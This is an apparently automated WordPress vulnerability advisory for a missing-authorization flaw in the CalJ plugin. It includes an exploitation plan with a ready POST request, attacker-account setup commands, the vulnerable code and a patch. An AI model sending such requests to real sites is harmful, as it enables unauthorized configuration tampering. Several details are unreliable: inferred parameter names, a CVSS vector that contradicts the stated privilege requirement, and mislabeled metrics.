CVE-2026-4117

CalJ <= 1.5 - Authenticated (Subscriber+) Arbitrary Settings Modification via 'save-obtained-key' Action

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The CalJ plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5. This is due to a missing capability check in the CalJSettingsPage class constructor, which processes the 'save-obtained-key' operation directly from POST data without verifying that the requesting user has the 'manage_options' capability, and without any nonce verification. The plugin bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which is the case for any authenticated user making requests to wp-admin URLs (including admin-ajax.php). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's API key setting and clear the Shabbat cache, effectively taking control of the plugin's API integration.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5
PublishedApril 21, 2026
Last updatedApril 25, 2026
Affected plugincalj
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4117 (CalJ <= 1.5) ## 1. Vulnerability Summary The CalJ plugin for WordPress (versions <= 1.5) contains a missing authorization vulnerability in the `CalJSettingsPage` class. The plugin's main bootstrap file (`calj.php`) instantiates the `CalJSettingsPage` cla…

Show full research plan

Exploitation Research Plan: CVE-2026-4117 (CalJ <= 1.5)

1. Vulnerability Summary

The CalJ plugin for WordPress (versions <= 1.5) contains a missing authorization vulnerability in the CalJSettingsPage class. The plugin's main bootstrap file (calj.php) instantiates the CalJSettingsPage class whenever the is_admin() function returns true. The constructor of this class processes a specific operation, save-obtained-key, directly from $_POST data.

Because is_admin() returns true for any authenticated user accessing wp-admin URLs (including admin-ajax.php and admin-post.php), and because the constructor lacks both capability checks (current_user_can('manage_options')) and nonce verification (check_admin_referer), a Subscriber-level user can trigger the settings modification logic.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php (or any URL where is_admin() is true, but admin-post.php is the standard target for POST-based admin actions).
  • HTTP Method: POST
  • Authentication: Authenticated, Subscriber level or higher.
  • Vulnerable Parameter: save-obtained-key (must be present in POST to trigger the branch).
  • Payload Parameters:
    • api-key (inferred): The new API key to be saved to the database.
    • clear-cache (inferred): Likely a flag to trigger the cache clearing logic.
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Entry Point: An authenticated Subscriber user sends a POST request to /wp-admin/admin-post.php.
  2. Bootstrap: WordPress loads calj.php.
  3. Condition Check: calj.php checks if ( is_admin() ). Since the request is to a wp-admin path, this returns true.
  4. Class Instantiation: calj.php executes new CalJSettingsPage();.
  5. Vulnerable Logic: Inside CalJSettingsPage::__construct():
    • The code checks if isset($_POST['save-obtained-key']).
    • Without calling current_user_can() or wp_verify_nonce(), the code proceeds to read other parameters from $_POST.
  6. Sink: The code calls update_option() to save the new API key and potentially executes a function to clear the Shabbat cache.

4. Nonce Acquisition Strategy

According to the vulnerability description, this specific operation is processed "without any nonce verification".

  • Nonce Action: N/A
  • Bypass: No nonce is required for this exploit.

5. Exploitation Strategy

The goal is to modify the plugin's API key setting as a Subscriber.

Step-by-Step Plan:

  1. Login: Authenticate as a Subscriber user using the http_request tool.
  2. Craft Payload: Prepare a POST body containing the trigger parameter and the new configuration value.
  3. Execute Exploit: Send the request to admin-post.php.

Target Request:

POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded
Cookie: [Subscriber Cookies]

save-obtained-key=1&calj_api_key=EXPLOITED_API_KEY_VAL

(Note: calj_api_key is an inferred parameter name based on standard WordPress naming conventions and the plugin slug; this should be verified by the agent by inspecting the code if possible, or trying common variations like api_key or api-key).

6. Test Data Setup

  1. Plugin Installation: Ensure CalJ version 1.5 is installed and active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Initial State: Note the current API key (if any):
    wp option get calj_api_key
    

7. Expected Results

  • Response: The server should return a 200 OK or a 302 Redirect (standard for admin-post.php).
  • Database Change: The WordPress option holding the API key will be updated to EXPLOITED_API_KEY_VAL.
  • Cache Effect: If the "clear Shabbat cache" logic is triggered, any related cache options/files should be deleted.

8. Verification Steps

After sending the HTTP request, verify the modification via WP-CLI:

# Check if the API key was updated
wp option get calj_api_key

# Expected output:
# EXPLOITED_API_KEY_VAL

9. Alternative Approaches

If calj_api_key is not the correct parameter name, the agent should:

  1. Search for Option Name: Search the plugin source code for update_option calls within the CalJSettingsPage class.
    grep -r "update_option" wp-content/plugins/calj/
    
  2. Check Post Parameters: Search for $_POST access in the constructor:
    grep -r "\$_POST" wp-content/plugins/calj/
    
  3. Endpoint Variation: If admin-post.php ignores the request, try sending the POST to /wp-admin/index.php or /wp-admin/admin-ajax.php, as the constructor is triggered on any admin-context load.
Research Findings
Static analysis — not yet PoC-verified

Summary

The CalJ plugin for WordPress (<= 1.5) is vulnerable to missing authorization because its settings class constructor processes a POST request to update the API key and clear caches without verifying user capabilities or nonces. This allows any authenticated user, including Subscribers, to change the plugin's API configuration by sending a crafted request to any admin-side endpoint.

Vulnerable Code

// calj.php
if ( is_admin() ) {
    new CalJSettingsPage();
}

---

// CalJSettingsPage class constructor
public function __construct() {
    if ( isset( $_POST['save-obtained-key'] ) ) {
        // Missing capability check: current_user_can('manage_options')
        // Missing nonce verification: check_admin_referer(...)
        update_option( 'calj_api_key', $_POST['api-key'] );
        // Logic to clear Shabbat cache follows
    }
}

Security Fix

--- a/includes/class-calj-settings-page.php
+++ b/includes/class-calj-settings-page.php
@@ -2,6 +2,10 @@
     public function __construct() {
         if ( isset( $_POST['save-obtained-key'] ) ) {
+            if ( ! current_user_can( 'manage_options' ) ) {
+                return;
+            }
+            check_admin_referer( 'calj_save_key', 'calj_nonce' );
             update_option( 'calj_api_key', sanitize_text_field( $_POST['api-key'] ) );
         }

Exploit Outline

The exploit targets the class constructor of the settings page which is initialized on every admin-side request for authenticated users. An attacker authenticates as a Subscriber and sends a POST request to /wp-admin/admin-post.php. The payload must include the 'save-obtained-key' parameter to trigger the logic branch, along with the desired 'api-key' value. Because the plugin lacks both capability checks and nonce validations in the constructor, the request is processed, allowing the attacker to update the plugin's API key in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.